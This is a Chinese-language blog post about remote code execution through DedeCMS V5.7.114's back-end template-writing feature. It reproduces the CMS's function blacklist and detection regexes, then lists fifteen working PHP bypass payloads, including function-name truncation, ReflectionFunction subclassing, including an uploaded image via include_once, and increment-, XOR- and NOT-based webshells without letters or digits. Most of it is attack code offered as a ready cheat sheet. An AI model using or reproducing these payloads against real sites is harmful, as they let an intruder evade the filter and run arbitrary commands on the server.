刷微信公众号的时候看到一篇文章:【审计0day】Dedecms最新版本RCE,点进去看了看,发现是用的后台写文件功能RCE,只不过织梦对写入的php做了一些限制,就像一道ctf一样,我们可以用其他方法绕过去,我本地搭了个环境,发现绕过的方法挺多的,这里分享一下
源码地址:https://www.dedecms.com/
版本:V5.7.114(最新版)
环境:php7.2.9
黑名单函数:
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace,[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders
正则匹配逻辑:
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
第一个表达式检测了是否存在 PHP 代码的起始标记 <?
或 <?php
,是的话则进行后续判断,第二的表达式判断了这段代码检测是否存在形如 $varName(...);
的 PHP 函数调用,第三个表达式检测是否存在形如 @$varName(...)
的 PHP 函数调用,第四个表达式检测是否存在反引号包裹的代码
1.截断函数名
<?php
function systema(){
substr(__FUNCTION__, -7,-1)("whoami");
}
systema();
2.截断方法名
<?php
class test{
function systema(){
substr(__METHOD__, -7,-1)("whoami");
}
}
$a = new test();
$a->systema();
3.截取文件名
需命名为想要执行的函数
<?php
substr(__FILE__, -10,-4)('whoami');
?>
4.mbereg_replace
作用类似于preg_replace
,支持传入e模式的正则表达式,不过这个别名在PHP7.3被移除了,只能在7.2及以下使用
5.函数重命名
<?php
use function system as test;
test('whoami');
6.类的继承
<?php
class test extends ReflectionFunction {}
$f = new test('system');
$f->invoke('whoami');
7.include_once
只ban了include没ban include_once,我们可以上传个图片上去然后包含他
<?php include_once('./uploads/allimg/240701/1_1237122211.png');?>
8.require_once
同上
9.匿名类
<?php
$f = new class('system') extends ReflectionFunction {};
$f->invoke('whoami');
10.自增实现的无字母数字webshell
这里花活很多,可以去看我ctfshow刷题记录那里,有很多骚操作,这里给个基础的
<?php $_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[____]);
11.字符拼接
用上面那个无字母数字RCE的时候,我发现他这个好像压根不用那么复杂,直接字符拼接都能RCE。。。
<?php
$a = '_POST';
$$a[1]($$a[0]);
12.异或实现的无字母数字webshell
<?php
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);
13.取反
生成器:
<?php
$ans1='system';//函数名
$ans2='whoami';//命令
$data1=('~'.'urldecode('.'\''.urlencode(~$ans1).'\'');//通过两次取反运算得到system
$data2=('~'.'urldecode('.'\''.urlencode(~$ans2).'\'');//通过两次取反运算得到dir
echo ('('.$data1.'))'.'('.$data2.'))'.';');
#(~urldecode('%8C%86%8C%8B%9A%92'))(~urldecode('%88%97%90%9E%92%96'));
14.转hex
def hex_payload(payload):
res_payload = ''
for i in payload:
hex_representation = "\\x" + hex(ord(i))[2:] # Double backslashes to escape `\x`
res_payload += hex_representation
return res_payload
if __name__ == "__main__":
payload = "system" # Assign the payload directly
converted_payload = hex_payload(payload)
print("[+] '{}' converted to hex: '{}'".format(payload, converted_payload))
#[+] 'system' converted to hex: '\x73\x79\x73\x74\x65\x6d'
<?php echo"\x73\x79\x73\x74\x65\x6d"("whoami");
15.getenv
<?php
getenv('HTTP_E')('whoami');
getenv会获取请求头中E的值然后拼接执行函数